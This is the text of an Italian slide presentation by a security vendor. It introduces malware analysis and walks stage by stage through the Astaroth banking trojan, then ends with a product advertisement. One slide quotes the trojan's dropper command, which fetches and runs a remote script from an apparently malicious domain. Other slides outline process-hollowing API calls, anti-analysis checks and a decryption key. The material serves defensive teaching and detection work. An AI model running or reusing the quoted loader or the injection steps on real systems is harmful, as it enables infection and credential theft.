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Facciamolo a pezzi! 
Un breve viaggio nel mondo della malware 

analysis



Malware Analysis

2

••••••••••••••••••

Cos’è un malware?
Malicious software progettato 
intenzionalmente per danneggiare un 
sistema informatico o gli utenti di un sistema 
informatico.
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Malware Analysis
Cos’è un malware?
Malicious software progettato 
intenzionalmente per danneggiare un 
sistema informatico o gli utenti di un sistema 
informatico.
Perchè analizzare un malware?
Per individuare le caratteristiche che lo 
identificano, gli obiettivi della minaccia e gli 
impatti sul sistema target.
Come si inserisce nel processo di risposta agli 
incidenti?
Si estraggono gli indicatori di 
compromissione (IoC) per identificare in 
modo proattivo la specifica minaccia, 
contenerla ed eradicarla efficacemente; 
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Campagne note

Fonte: TrendMicro

Emotet

Fonte: Check Point - Security Report 2023
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Campagne note
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Fonte: Check Point - Security Report 2023

Astaroth
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Malware come vettore d’accesso

IcedId

QakBot

Trickbot CONTI RANSOMWARE



Obiettivi 
Estrazione degli IoC
Individuare gli Indicatori di Compromissione che 
identificano la minaccia per Threat Hunting o per 
configurare blocchi.

Sviluppo del Config Extractor
Automatizzare i passaggi dell’analisi per 
l’estrazione della configurazione (API, stringhe, 
domini C2) valida per la medesima famiglia di 
malware.

Creazione di allarmi ad-hoc
Prevenire eventuali compromissioni durante le 
campagne di phishing effettuando il tuning degli 
strumenti.

CruLoader - Config Extractor

Dridex maldoc – Yara rule



I tipi di analisi

Analisi del codice Esecuzione del codice

Estrazione di dati Analisi del 
comportamento

Reverse engineering Monitoraggio delle 
risorse

Ispezione 
approfondita

Meno rischiosa

Complessa e onerosa

Signature Sandbox

Più semplice

Richiesta di risorse

Dynamic AnalysisStatic Analysis

Potenziale anti-
analysis



Il giusto compromesso

Triage Cambiamenti in memoria

Dynamic AnalysisStatic Analysis

Hybrid Analysis

Osservazione delle 
interazioniIspezione del codice

Analisi controllata per stadio 



Passiamo alla pratica!

   ASTAROTH



Astaroth – Stage 1



Astaroth – Stage 1
C:\WINDOWS\system32\
cmd.exe
mD C:\eUaRSH\ >nul 2>&1

caLl C:\eUaRSH\VTUITSXN.JS

CGNF=new Function(
        'GetObject("script:hwa5c.nextmax.my.id/?1/")’
); CGNF(); > C:\ eUaRSH\VTUITSXN.JS



Astaroth – Stage 2
• Scelta dell’endpoint
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Non sono per te!



Astaroth – Stage 2
• Scelta dell’endpoint
• Utilizzo del semaforo
• Drop di file
• Domain-cloaking
• Esecuzione

C:\TempData27737752820\Eurocom.Precision.01581.6964.246.exe C:\TempData27737752820\
Eurocom.Precision.01581.6964.246.log



Astaroth – Stage 3

Eurocom.Precision.01581.6964.246.
exe 

Eurocom.Precision.01581.6964.246.l
og

script.A
U3

script.A
3X
script.ex
e

AutoIt3.ex
e

script.A
3X



Astaroth – Stage 3
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og

AutoIt3.ex
e
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3X



Astaroth – Stage 3
La tecnica dell’Hooking
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Astaroth – Stage 3

Eurocom.Precision.01581.6964.246.
exe 

Eurocom.Precision.01581.6964.246.l
og

AutoIt3.ex
e

script.A
3X



Astaroth – Stage 4
• DLL in Borland Delphi
• Lettura del file SDK.LOG
• Routine di decifratura



Astaroth – Stage 4
• Algoritmo di decifrazione su sdk.log
• Key = ‘*’ (0x2A)
• p[i] = c[i] - 0x2A



Astaroth – Stage 4
"Process Injection": PROCESS HOLLOWING

1
Il malware crea un processo nello stato ‘sospeso’.
• CreateProcess() con il flag CREATE_SUSPENDED

2
Il malware dealloca la memoria originariamente predisposta del 

processo legittimo.
• NtUnmapViewOfSection()

3
Il malware alloca una nuova area di memoria e ci scrive il proprio 

payload malevolo.
• VirtualAllocEx() e WriteProcessMemory()

4
Il malware imposta il codice appena scritto come nuovo entry point.
• SetThreadContext()

5
Il malware può avviare l’esecuzione.
• ResumeThread()

DLL
Regsvcs.exe

*



Astaroth – Stage 5
• Payload di Astaroth (beldraksonthildno) scritto in Borland Delphi
• Anti-VM e Anti-debug

• Controlla l’esistenza di processi (vmtoolsd, x32dbg, VBoxService, ecc)
• powershell.exe stop-computer –force

• Anti-analysis
• Utilizzo di stringhe cifrate

• Persistenza
• creazione di un .lnk nella Startup (T1547.001)

• Evasion
• controlla se nel sistema è installato Avast o AVG come antivirus



Astaroth – Stage 5
• Enumera e invia ai propri C2 una serie di informazioni come hostname, 

username, lingua di sistema, browser usati.

• Spia i titoli delle finestre aperte nella sessione utente.
• Individua connessioni verso siti di piattaforme Home Banking di diverse 

istituzioni bancarie (anche italiane).

Fonte: Cisco Talos

ing.it
chebanca.it
hype.it
revolut.com
n26.com

unicredit.it
bper.it
mps.it
bnl.it
cdp.it

mediobanca.co
m
bancodesio.it
bancobpm.it

• Installa keystroke e effettua screenshot in prossimità del 
cursore.



Deda Cloud

@Home
@Deda
@Hyper
OnPrem

Risk | BIA Assessment 
Red Team Services

Managed Detection and Response

Integrazione con soluzioni di punta del 
mercato

Sicurezza avanzata per gli ambienti 
basati su server IBM Power Systems

Soluzioni di sicurezza basate sulle 
funzionalità storage avanzate

Protezione dell'accesso e crittografia 
dei dati

QRadar EDR & XDR
QRadar Log Insights

QRadar SIEM
QRadar SOAR

QRadar Suite – Cloud Pak for 
Security

Soluzioni IBM



Grazie per l’attenzione

Q/A

info@dedagroup.it
www.deda.cloud
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